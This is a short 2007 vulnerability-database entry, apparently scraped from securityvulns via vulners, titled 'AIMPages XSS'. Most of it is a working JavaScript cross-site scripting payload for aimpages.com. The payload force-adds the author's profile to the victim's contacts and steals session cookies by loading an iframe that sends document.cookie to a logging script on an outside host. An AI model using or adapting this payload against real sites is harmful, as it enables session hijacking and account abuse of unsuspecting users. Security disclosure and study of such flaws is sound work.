Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15722
HistoryJan 15, 2007 - 12:00 a.m.

AIMPages XSS

2007-01-1500:00:00
vulners.com
37

details @ http://skywarp.visfx.net/~amitcn/aimpages.js

listed below:

//
//author: amitmx, found: a long time ago
//
//<script src="http://amit.cn/aimpages.js&quot;&gt;&lt;/script&gt;
//
//aimpages.com does not filter anything
//

//showthemjsworks

alert('Welcome to Amit');
document.title='I stole your internets';

//forceadd

basicinfo.addMe('amit','basic-info-0');

//stealcookies

document.getElementById('buffer').innerHTML = '<iframe
src="http://skywarp.visfx.net/~amitcn/log.php?c=&#39; + (document.cookie)

  • '"></iframe>';